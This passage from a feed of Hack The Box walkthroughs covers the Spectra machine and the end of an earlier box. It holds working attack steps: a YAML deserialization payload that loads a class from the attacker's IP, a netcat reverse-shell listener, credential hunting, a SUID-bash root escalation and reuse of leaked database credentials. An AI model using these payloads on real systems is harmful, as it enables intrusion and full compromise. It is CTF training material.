getEngineVersion() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public List&lt;String&gt; getExtensions() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public List&lt;String&gt; getMimeTypes() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public List&lt;String&gt; getNames() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getLanguageName() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getLanguageVersion() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public Object getParameter(String key) {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getMethodCallSyntax(String obj, String m, String... args) {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getOutputStatement(String toDisplay) {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getProgram(String... statements) {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public ScriptEngine getScriptEngine() {<br>        return null;<br>    }<br>}</pre><p>Save and compile the <em>.java</em> script into a <em>.class </em>file.</p><pre>javac yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java</pre><p>Setup a <a href="https://docs.python.org/3/library/http.server.html">python webserver</a> on port 80 in the “<em>src</em>” directory.</p><pre>sudo python3 -m http.server 80</pre><ul><li>sudo runs the command with root privileges, this is necessary on all ports under 1024 (privilieged ports)</li></ul><p>Setup a netcat listener on the port defined in <em>rev.sh</em></p><pre>nc -nvlp 9991</pre><ul><li>-n option for no DNS (IP address only)</li><li>-v option for verbose</li><li>-l option for listen mode</li><li>-p option for port to listen on</li><li>9991 argument for specified port</li></ul><p>Final directory structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/1*zee6clAraCSA_O6sa996MQ.png" /></figure><p>Submit the following payload with the attacker IP address into the YAML parser and the netcat listener should connect to the shell.</p><pre>!!javax.script.ScriptEngineManager [<br>  !!java.net.URLClassLoader [[<br>    !!java.net.URL [&quot;<a href="http://10.10.14.10/">http://10.10.14.14/</a>&quot;]<br>  ]]<br>]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*4Aw3qFCiDI45YvBq_d0xqA.png" /></figure><h4>Time for an Upgrade</h4><p>Stabilize shell and upgrade to a fully interactive TTY shell. Certain commands and shortcuts require a fully interactive shell to work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*qpEdLdsWGHoWJWzRngEZNw.png" /></figure><ul><li>which python3 checks if python3 is installed</li><li>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39; spawns a pseudo terminal</li><li>CTRL+Z backgrounds the netcat task</li><li>stty raw -echo; fg passes keyboard shortcuts to the reverse shell (things will get funky for a second) and the fg command will bring back the backgrounded reverse shell</li><li>reset resets the terminal</li><li>xterm-256color sets terminal type</li></ul><h4>Who’s Home?</h4><p>The current user is the webserver and does not have access to the user.txt file. Enumerate the other users and possible privilege escalation routes.</p><p>Identify other users.</p><pre>cat /etc/passwd | grep &quot;bash&quot;</pre><ul><li>cat command reads a file sequentially and prints it to the standard output</li><li>/etc/passwd file stores user account information</li><li>| pipes the output from one command to the input of another</li><li>grep &quot;bash&quot; filters the input for a specified pattern, in this case being “bash” to find users with the shell /bin/bash</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*x9l8Ket7R9zsutea4jsU6g.png" /></figure><p>Users:</p><ul><li><strong>root</strong></li><li><strong>admin</strong></li></ul><h4>Sifting Through the File System</h4><p>An important part of privilege escalation is password/credential/ssh-key hunting. These can be found in configuration files, scripts, backups, and more. Important directories include /etc , /var , /opt , and more. Although there are automated solutions to password hunting, the best results are generally found manually.</p><p>Check the configuration file for the Tomcat webserver that is running.</p><pre>find / -type d -name &quot;tomcat&quot; 2&gt;/dev/null</pre><ul><li>find command searches the file system</li><li>/ argument defines the directory to start searching in (in this case the root directory)</li><li>type d option sets the search for directories only</li><li>-name &quot;tomcat&quot; sets the directory name to “tomcat”</li><li>2&gt;/dev/null option ignores any error outputs</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*q7alwVapmo6yj3nZe5EeiA.png" /></figure><pre>grep --color=auto -rnw &#39;/opt/tomcat&#39; -ie &quot;password&quot;  --color=always 2&gt; /dev/null</pre><ul><li>grep command filters for a defined string in a file</li><li>--color=auto option highlights results in color</li><li>-r option sets search for recursive</li><li>-n option prefixes each line of output with the 1-based line number<br> within its input file</li><li>-w option searches for the complete string</li><li>&#39;/opt/tomcat&#39; argument defines the directory to start searching</li><li>-i option disables case sensitivity</li><li>-e option searches for all patterns given</li><li>&quot;password&quot; argument is the defined pattern</li><li>--color=always option highlights results in color</li><li>2&gt; /dev/null option ignores any error outputs</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*RReRf5lQA9CzzUKJ4TmZBA.png" /></figure><p>Interesting Find:</p><ul><li>credentials username: <strong>admin</strong> and password: <strong>whythereisalimit</strong></li></ul><h4>Sliding into SSH</h4><p>SSH with the found credentials.</p><pre>ssh admin@10.10.10.227</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*C6ySdmw-opcKiRRv0OctIw.png" /></figure><h4>Getting User.txt</h4><p>In HTB machines the user.txt can always be found the in the user’s home directory. Navigate there and read it.</p><pre>cd ~ ; cat user.txt</pre><ul><li>cd command changes the directory to what is specified</li><li>~ argument specifies the home directory of the current user</li><li>; is a command separator</li><li>cat command reads a file sequentially and prints it to the standard output</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/293/1*GZfDQM8F85sPbCNf6EWFfg.png" /></figure><h3>Privilege Escalation</h3><p>There are many scripts to automate privilege escalation but it is important to understand how to find vulnerabilities manually. A great resource for privilege escalation is <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md">PayloadAllTheThings Linux Privilege Escalation</a>.</p><h4>What Power Do I Hold?</h4><p>Explore the privileges of the user admin.</p><pre>sudo -l</pre><ul><li>sudo command allows a user to execute other commands with root privileges</li><li>-l option lists user’s privileges or check a specific command</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*LN6aSpmFhoRbYYliENSQvA.png" /></figure><p>Interesting Finds:</p><ul><li>sudo privileges to a specific go script</li></ul><p>Test “<em>index.go</em>” with sudo.</p><pre>sudo /usr/bin/go run /opt/wasm-functions/index.go</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*pjOCpeApCVueETmLiVHN9Q.png" /></figure><p>Inspect “<em>index.go</em>”.</p><pre>cat /opt/wasm-functions/index.go</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*pxDyZaZ7oqAzPXWANgnhQw.png" /></figure><p>Interesting Finds:</p><ul><li>if the “<em>info</em>” variable in the “<em>main.wasm” file </em>is equal to “1” then “<em>deploy.sh” </em>will be executed</li><li>wasm files are web assembly binaries. Learn more about <a href="https://learnxinyminutes.com/docs/wasm/">web assembly</a>.</li></ul><p>Inspect the directory “<em>/opt/wasm-functions</em>”.</p><pre>ls -la /opt/wasm-functions/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*JYg3JEtZVYIJjuElFZOdbQ.png" /></figure><pre>cat /opt/wasm-functions/deploy.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*y4hcSOvnoEbnd5rJWCihGg.png" /><figcaption>Nothing interesting</figcaption></figure><h4>Web Assembly is Alien</h4><p>With read permissions it enables the ability to copy a file to another directory that has write permissions. Transfer the “<em>main.wasm” </em>binary to the attacker host for further inspection.</p><pre>cd /tmp ; cp /opt/wasm-functions/main.wasm .</pre><ul><li><em>/tmp </em>directory is an ideal location to stage scripts as it is guaranteed to have write access for all users.</li><li>cp command copies a file/directory to a specified location</li><li>. argument specifies the current directory</li></ul><p>Setup a <a href="https://serverpilot.io/docs/how-to-run-a-simple-ftp-server/">python3 ftp server</a> on port 21 on the attacker host to download “<em>main.wasm”.</em></p><pre>sudo python3 -m pyftpdlib --write -p 21</pre><ul><li>--write option enables anonymous write permissions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*UyaL9YzzRifp95ksbCkepQ.png" /></figure><p>On the target, upload “<em>main.wasm” </em>to the ftp server, login with anonymous credentials.</p><pre>ftp 10.10.14.14</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/323/1*LIKQ9lwreZ74x91UsTxW8w.png" /></figure><p>When transferring binary files set the ftp mode to “<em>BINARY</em>” (by default the mode is set to “<em>ASCII</em>”) to avoid any errors during the copying process. Set the mode by typing binary followed by put main.wasm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*FojpODxl40HstKW51nalOw.png" /></figure><p>To inspect and convert “<em>main.wasm</em>” install the tools from the <a href="https://github.com/webassembly/wabt">WebAssembly Binary Toolkit (WABT)</a>. Follow the install instructions.</p><p><em>WASM</em> binary files are not directly human readable but can be converted to ASCII with the tool “<em>wasm2wat</em>” from WABT.</p><pre>/opt/wabt/build/wasm2wat -o main.wat main.wasm</pre><ul><li>/opt/wabt/build/wasm2wat path to installation location</li><li>-o main.wat option sets the output file name to <em>main.wat</em></li><li>main.wasm argument is the supplied binary to convert</li></ul><p>Inspect “<em>main.wat” </em>with a preferred text editor.</p><pre>nano main.wat<em> </em></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*G-a5bozxDL93Fkjeq_MtsQ.png" /></figure><p>Interesting finds:</p><ul><li>the “<em>info”</em> variable is set to the 32 bit integer value <em>0</em> in the function (func $info (type 0) (result i32) i32.const 0)</li><li>the “<em>info</em>” variable is exported from the “<em>info</em>” function</li></ul><p>Modify the i32.const 0 to i32.const 1 and save the file.</p><pre>(module<br>  (type (;0;) (func (result i32)))<br>  (func $info (type 0) (result i32)<br>    i32.const 1)<br>  (table (;0;) 1 1 funcref)<br>  (memory (;0;) 16)<br>  (global (;0;) (mut i32) (i32.const 1048576))<br>  (global (;1;) i32 (i32.const 1048576))<br>  (global (;2;) i32 (i32.const 1048576))<br>  (export &quot;memory&quot; (memory 0))<br>  (export &quot;info&quot; (func $info))<br>  (export &quot;__data_end&quot; (global 1))<br>  (export &quot;__heap_base&quot; (global 2)))</pre><p>Rename the original “<em>main.wasm</em>” to “<em>main.wasm.bak</em>” as the exploit requires the newly modified binary to be named “<em>main.wasm</em>”</p><pre>mv main.wasm main.wasm.bak</pre><ul><li>Linux does not have a dedicated renaming tool but by using the mv (move) command and specifying a new name in the same directory it accomplishes the same function</li></ul><p>Convert the modified “<em>main.wat</em>” back to a binary <em>wasm</em> file with the WABT tool “<em>wat2wasm</em>”, follow the same syntax as the previous “<em>wasm2wat</em>”.</p><pre>/opt/wabt/build/wat2wasm -o main.wasm main.wat</pre><p>Assuming there has been no change in directories and the ftp server is still running, on the target host download the new “<em>main.wasm</em>” (this will overwrite the original copied “<em>main.wasm</em>” in the tmp directory).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*UaN8azQQ6WFIDAAfLcYWmg.png" /></figure><p>Test “<em>index.go</em>” with sudo privileges to ensure it accepts and runs the new “<em>main.wasm</em>”.</p><pre>sudo /usr/bin/go run /opt/wasm-functions/index.go</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*9fRENPVvOm2yU6_uMdmsHQ.png" /><figcaption>Success, new output</figcaption></figure><p>With “<em>index.go</em>” ready to run “<em>deploy.sh”</em>, create a privilege escalation script. There are a variety of scripts to escalate privileges with, from reverse shells, abusing root’s suid, and reading root’s id_rsa ssh key. Find an appropriate one for the specific situation.</p><p>Using echo create a simple script that will set root’s SUID to the bash shell.</p><pre>echo &quot;chmod +s /bin/bash&quot; &gt; deploy.sh ; chmod +x deploy.sh</pre><ul><li>chmod command changes the permissions of a file</li><li>+s option sets an SUID bit which allows users to execute a file with the permissions of the file owner</li><li>/bin/bash is the bash shell executable</li></ul><p>Run “<em>index.go</em>” with sudo privileges to trigger “<em>deploy.sh</em>”.</p><pre>sudo /usr/bin/go run /opt/wasm-functions/index.go</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*64f-1BajhK7V_2v6iS7sCw.png" /><figcaption>A different response</figcaption></figure><p>Check the permissions of the bash shell for root’s SUID set.</p><pre>ls -la /bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*7L2__-t_CfA8Whjy24eMZA.png" /><figcaption>SUID successfully set</figcaption></figure><h4>Hello Root</h4><p>Open a root shell by running bash in privileged mode.</p><pre>/bin/bash -p</pre><ul><li>-p option runs bash with SUID privileges (privileged)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*XGc1iSNrMJmL9MYr7lRF4w.png" /></figure><h4>Getting Root.txt</h4><p>In HTB machines the root.txt can always be found the in root’s home directory. Navigate there and read it.</p><pre>cd /root ; cat root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*VAPqBjbzqKrUca4O0nyL8g.png" /></figure><h3>Thanks for Making It to the End!</h3><p>Like this walkthrough? Know of ways I could have improved? Want to say hi? Let me know down below in the comments or PM me on Twitter <a href="https://twitter.com/mr_0rng">@Mr_0rng</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1b585ee61f2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Spectra Walkthrough (No Metasploit)]]></title>
            <link>https://mr-0range.medium.com/htb-spectra-walkthrough-no-metasploit-dbd112ab3ac4?source=rss-e854fc463eb5------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbd112ab3ac4</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mr. 0range]]></dc:creator>
            <pubDate>Mon, 28 Jun 2021 23:40:11 GMT</pubDate>
            <atom:updated>2021-06-28T23:43:21.306Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x3p8DR8qDem_prxw0l7s6g.jpeg" /></figure><p>This box is a great introduction to Wordpress information disclosure and improper configurations, an ideal machine for beginners to build skill and confidence. Spectra rewards manual enumeration in both the foothold and privilege escalation, and can easily be rooted without Metasploit.</p><h3>Machine Info</h3><figure><img alt="HTB Spectra" src="https://cdn-images-1.medium.com/max/340/1*Kr3YjKVKoepfNY4dCYKfFQ.png" /></figure><p>Box Name: Spectra</p><p><a href="https://app.hackthebox.eu/machines/317">HTB Link</a></p><p>Difficulty: Easy</p><p>Target IP: 10.10.10.229</p><h4>Reconnaissance</h4><p><strong>Scoping the Target</strong></p><p>Start an <a href="https://nmap.org/book/man.html">nmap</a> scan to see what ports are open and possible services running on them.</p><pre>nmap -A -sC -Pn -p- -oN 2-scans/nmap-1  10.10.10.229</pre><ul><li>-A enables OS detection, version detection, script scanning, and traceroute</li><li>-sC enables default <a href="https://nmap.org/book/man-nse.html">NSE scripts</a> and TCP-Connect scan type</li><li>-Pn disables ping (most HTB machines do not respond to pings and may give a false-positive for host offline)</li><li>-p- scans all ports (by default nmap only scans commonly used ports)</li><li>-oN enables output to file (in this case the N option specifies all nmap file type) with a specified directory/file name</li></ul><blockquote>Quick Tip: while a nmap scan is running hit v to increase verbosity and see open ports as they are discovered</blockquote><p>Nmap Results:</p><pre>Nmap scan report for 10.10.10.229<br>Host is up (0.070s latency).<br>Scanned at 2021-06-17 08:28:08 PDT for 408s<br>Not shown: 65532 closed ports<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)<br>| ssh-hostkey:<br>|   4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)<br>|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDF1xom8Ljz30NltgYXTRoVI2ymBlBZn849bnFYNKwDgwvW9naxom8pe9mzV+I8pAb5AHeVdok7szaIke7nXINK5GdHw+P529fkRNfmq4V63RUmYNKeAZmfGubCQDwGHP0Gj8S/C1lCMp/9kdNPxDv8aamWTeVCTuqDOwMy0GmEGRyk9gaZjwA2T3kIVD/TjLVu5hkpwdoQHr0JYhJRqLKHqZqdcZY7vqUFuECqcgVZ0Sj52/VnT5lis+N3hZK1MqJW2vlPhdlXhESF2O2Z0gzVtnAMB8yT68pbcRUbl6OI0NC6ucKzSIb6g90vwF1kVlj22GXTcfu0r3tyCFlusJFnuhgAIrTax8eQu5W+vLAAM0pbMizVNOEzd4VtBpLBHunEkzDknUZn3k9X3XP9NsIReMW+T8XiLTSxZuve8EWdaIfXoAeUlj0Tsy2iwYfLk6XaO5xssZgHFvB4QnUvpdt2ybsfTEd1aySikuetak9pl7yECFD8jgqT6ybzG1qsTMsdsJz6o871al1r0Dyd76R0Dr3+dO7AhLJtPszZHJXK3YqCqF/qU6kNIPMTIXdiVEuYQ1JieYzyjN3CivzVUPFnvOu2+dD5kFQSQNqR8kHGRqZXW0oUQsDUh1GQsb+iO8sFMDIAqr1SfAKQEpCPpSFl6H1wtNHW8pJJNwj1FkKNXw==<br>80/tcp   open  http    nginx 1.17.4<br>| http-methods:<br>|_  Supported Methods: GET HEAD<br>|_http-server-header: nginx/1.17.4<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>3306/tcp open  mysql   MySQL (unauthorized)<br>|_ssl-cert: ERROR: Script execution failed (use -d to debug)<br>|_ssl-date: ERROR: Script execution failed (use -d to debug)<br>|_sslv2: ERROR: Script execution failed (use -d to debug)<br>|_tls-alpn: ERROR: Script execution failed (use -d to debug)<br>|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)</pre><p>Ports &amp; Services:</p><ul><li>22 | OpenSSH 8.1</li><li>80 | Nginx 1.17.4 webserver</li><li>3306 | MySQL</li></ul><blockquote>Quick Tip: it is highly recommended to google any service version you see displayed in a nmap scan to find any vulnerabilities for an easy foothold. Documenting all findings is key to the penetration process. This is part of the enumeration process but will not be covered in this tutorial.</blockquote><p><strong>Enumerating the Webserver</strong></p><p>Inspect the webserver on port 80, in the browser go to <a href="http://10.10.10.229/">http://10.10.10.229</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*oVXKXCdG70Yb9ZEuIK4b5g.png" /></figure><p>View page source</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*UAvgnvCo5IcHUD1YaxeAyA.png" /></figure><p>The domain <strong>spectra.htb</strong> has been found, this could imply there are other subdomains. Add the new domain in the /etc/hosts file.</p><pre>sudo nano /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/235/1*obMi-BrqYOuj29dX4yAQgg.png" /></figure><p>Before going on to the new subdirectories, enumerate the root directory further with the brute force directory scanner <a href="https://github.com/OJ/gobuster">gobuster</a>.</p><pre>gobuster  dir -k -s &quot;200,204,301,302,307,401,403&quot; -q -u <a href="http://spectra.htb/">http://spectra.htb</a> -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</pre><ul><li>dir specifies directory/file enumeration mode</li><li>-k skips TLS certificate verification (not necessary on http)</li><li>-s enables whitelisted status codes followed by the whitelist</li><li>-q hides banners, errors, and other noise (quiet mode)</li><li>-u specifies the url</li><li>-w specifies path to wordlist</li></ul><p>Gobuster Results:</p><figure><img alt="Results of gobuster from http://spectra.htb, nothing useful" src="https://cdn-images-1.medium.com/max/1024/1*zckj5SQCIXyhjiemreRhVQ.png" /></figure><p>Nothing of interest found.</p><p>Exploring spectra.htb/main/index.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bHOIj527OqWJlCShVY9O_w.png" /></figure><p>This homepage provides the following:</p><ul><li>CMS (Content Management System): Wordpress</li><li>User: Administrator</li></ul><p>Results from the browser plugin <a href="https://www.wappalyzer.com/">Wappalyzer</a>:</p><ul><li>CMS Wordpress 5.4.2</li><li>Language PHP 5.6.40</li><li>Webesrver Nginx 1.17.4</li><li>Database MySQL</li></ul><p>Inspect the page with the web vulnerability scanner <a href="https://cirt.net/Nikto2">Nikto</a></p><pre>nikto -h <a href="http://spectra.htb/main">http://spectra.htb/main</a></pre><ul><li>-h specifies the host</li></ul><p>Nikto Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*X4KrtiTUuWwbfRzvZQYbUA.png" /></figure><p>Interesting Finds:</p><ul><li>Akismet Plugin</li><li>Default hello.php</li><li>wp-login.php</li></ul><p>Since the site runs on Wordpress, run <a href="https://wpscan.com/wordpress-security-scanner">wpscan</a> to find Wordpress specific vulnerabilities</p><pre>wpscan --url <a href="http://spectra.htb/main">http://spectra.htb/main</a></pre><p>Wpscan Results:</p><pre>wpscan --url <a href="http://spectra.htb/main">http://spectra.htb/main</a>                                                                          4 ⨯<br>_______________________________________________________________<br>         __          _______   _____<br>         \ \        / /  __ \ / ____|<br>          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®<br>           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &#39;_ \<br>            \  /\  /  | |     ____) | (__| (_| | | | |<br>             \/  \/   |_|    |_____/ \___|\__,_|_| |_|</pre><pre>WordPress Security Scanner by the WPScan Team<br>                         Version 3.8.14<br>       Sponsored by Automattic - <a href="https://automattic.com/">https://automattic.com/</a><br>       <a href="http://twitter.com/_WPScan_">@_WPScan_</a>, <a href="http://twitter.com/ethicalhack3r">@ethicalhack3r</a>, <a href="http://twitter.com/erwan_lr">@erwan_lr</a>, <a href="http://twitter.com/firefart">@firefart</a><br>_______________________________________________________________</pre><pre>[+] URL: <a href="http://spectra.htb/main/">http://spectra.htb/main/</a> [10.10.10.229]<br>[+] Started: Thu Jun 17 09:05:21 2021</pre><pre>Interesting Finding(s):</pre><pre>[+] Headers<br> | Interesting Entries:<br> |  - Server: nginx/1.17.4<br> |  - X-Powered-By: PHP/5.6.40<br> | Found By: Headers (Passive Detection)<br> | Confidence: 100%</pre><pre>[+] XML-RPC seems to be enabled: <a href="http://spectra.htb/main/xmlrpc.php">http://spectra.htb/main/xmlrpc.php</a><br> | Found By: Direct Access (Aggressive Detection)<br> | Confidence: 100%<br> | References:<br> |  - <a href="http://codex.wordpress.org/XML-RPC_Pingback_API">http://codex.wordpress.org/XML-RPC_Pingback_API</a><br> |  - <a href="https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner">https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner</a><br> |  - <a href="https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos">https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos</a><br> |  - <a href="https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login">https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login</a><br> |  - <a href="https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access">https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access</a></pre><pre>[+] WordPress readme found: <a href="http://spectra.htb/main/readme.html">http://spectra.htb/main/readme.html</a><br> | Found By: Direct Access (Aggressive Detection)<br> | Confidence: 100%</pre><pre>[+] The external WP-Cron seems to be enabled: <a href="http://spectra.htb/main/wp-cron.php">http://spectra.htb/main/wp-cron.php</a><br> | Found By: Direct Access (Aggressive Detection)<br> | Confidence: 60%<br> | References:<br> |  - <a href="https://www.iplocation.net/defend-wordpress-from-ddos">https://www.iplocation.net/defend-wordpress-from-ddos</a><br> |  - <a href="https://github.com/wpscanteam/wpscan/issues/1299">https://github.com/wpscanteam/wpscan/issues/1299</a></pre><pre>[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).<br> | Found By: Rss Generator (Passive Detection)<br> |  - <a href="http://spectra.htb/main/?feed=rss2">http://spectra.htb/main/?feed=rss2</a>, &lt;generator&gt;<a href="https://wordpress.org/?v=5.4.2">https://wordpress.org/?v=5.4.2</a>&lt;/generator&gt;<br> |  - <a href="http://spectra.htb/main/?feed=comments-rss2">http://spectra.htb/main/?feed=comments-rss2</a>, &lt;generator&gt;<a href="https://wordpress.org/?v=5.4.2">https://wordpress.org/?v=5.4.2</a>&lt;/generator&gt;</pre><pre>[+] WordPress theme in use: twentytwenty<br> | Location: <a href="http://spectra.htb/main/wp-content/themes/twentytwenty/">http://spectra.htb/main/wp-content/themes/twentytwenty/</a><br> | Last Updated: 2021-03-09T00:00:00.000Z<br> | Readme: <a href="http://spectra.htb/main/wp-content/themes/twentytwenty/readme.txt">http://spectra.htb/main/wp-content/themes/twentytwenty/readme.txt</a><br> | [!] The version is out of date, the latest version is 1.7<br> | Style URL: <a href="http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2">http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2</a><br> | Style Name: Twenty Twenty<br> | Style URI: <a href="https://wordpress.org/themes/twentytwenty/">https://wordpress.org/themes/twentytwenty/</a><br> | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...<br> | Author: the WordPress team<br> | Author URI: <a href="https://wordpress.org/">https://wordpress.org/</a><br> |<br> | Found By: Css Style In Homepage (Passive Detection)<br> |<br> | Version: 1.2 (80% confidence)<br> | Found By: Style (Passive Detection)<br> |  - <a href="http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2">http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2</a>, Match: &#39;Version: 1.2&#39;</pre><pre>[+] Enumerating All Plugins (via Passive Methods)</pre><pre>[i] No plugins Found.</pre><pre>[+] Enumerating Config Backups (via Passive and Aggressive Methods)<br> Checking Config Backups - Time: 00:00:03 &lt;=======================================&gt; (137 / 137) 100.00% Time: 00:00:03</pre><pre>[i] No Config Backups Found.</pre><pre>[!] No WPScan API Token given, as a result vulnerability data has not been output.<br>[!] You can get a free API token with 50 daily requests by registering at <a href="https://wpscan.com/register">https://wpscan.com/register</a></pre><pre>[+] Finished: Thu Jun 17 09:05:38 2021<br>[+] Requests Done: 170<br>[+] Cached Requests: 5<br>[+] Data Sent: 43.305 KB<br>[+] Data Received: 357.271 KB<br>[+] Memory used: 205.504 MB<br>[+] Elapsed time: 00:00:16</pre><p>Interesting Finds:</p><ul><li>xmlrpc.php</li><li>readme.html</li><li>Wordpress theme: twentytwenty</li></ul><p>Exploring <em>http://spectra.htb/main/xmlrpc.php</em></p><p><strong>Xmlrpc.php</strong> presents an interesting opportunity for enumeration and information disclosure. Although not necessary for this tutorial it is important to understand its function and possible exploits. More information can be found <a href="https://the-bilal-rizwan.medium.com/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*fBKwcOrUH-VVnY6ey5kzrw.png" /></figure><p>Exploring <em>http://spectra.htb/main/readme.html</em></p><p>This page appears to be the default installation guideline. Installation instruction are valuable when enumerating webservices as they often contain configuration syntax/file information and possible default credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*Ogo9z5SFBeTOb7MLya5eyQ.png" /></figure><p>Interesting Find:</p><ul><li>Database credentials are likely stored in wp-config.php</li></ul><p>Enumerate the /main directory with gobuster</p><pre>gobuster  dir -k -s &quot;200,204,301,302,307,401,403&quot; -q -u <a href="http://spectra.htb/main">http://spectra.htb/main</a> -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</pre><p>Gobuster Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M_vaWV_NFeDXsUtG8areqw.png" /></figure><p>Exploring <em>spectra.htb/testing/index.php</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*FkzhmXZ6iEkPa1z9_6_i4A.png" /></figure><p>Although this page does not appear to be functioning, the directory /testing it is nested in is accessible</p><p>Exploring <em>spectra.htb/testing/</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*2yEabGLhN0LL0I5kFzxhxg.png" /></figure><p>Interesting Finds:</p><ul><li>wp-config.php</li><li>wp-config.php.save</li></ul><p>Wp-config has a similar database error to <em>/testing/index.php</em>, however, wp-config.php.save loads a blank page. Using the <a href="https://curl.se/">curl</a> command inspect this page further.</p><pre>curl <a href="http://spectra.htb/testing/wp-config.php.save">http://spectra.htb/testing/wp-config.php.save</a></pre><p>Curl results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*8D0DMpwyGs5tP9_KysKiIA.png" /></figure><p>Interesting Finds:</p><ul><li>Credentials for a MySQL database</li><li>database: <strong>dev</strong></li><li>user: <strong>devtest</strong></li><li>password: <strong>devteam01</strong></li></ul><p>Attempt to login to the MySQL server on port 3306</p><pre>mysql -u devtest -p --host 10.10.10.229</pre><ul><li>-u for user</li><li>-p to prompt for password</li><li>— host to designate host</li></ul><p>Mysql Results:</p><figure><img alt="" 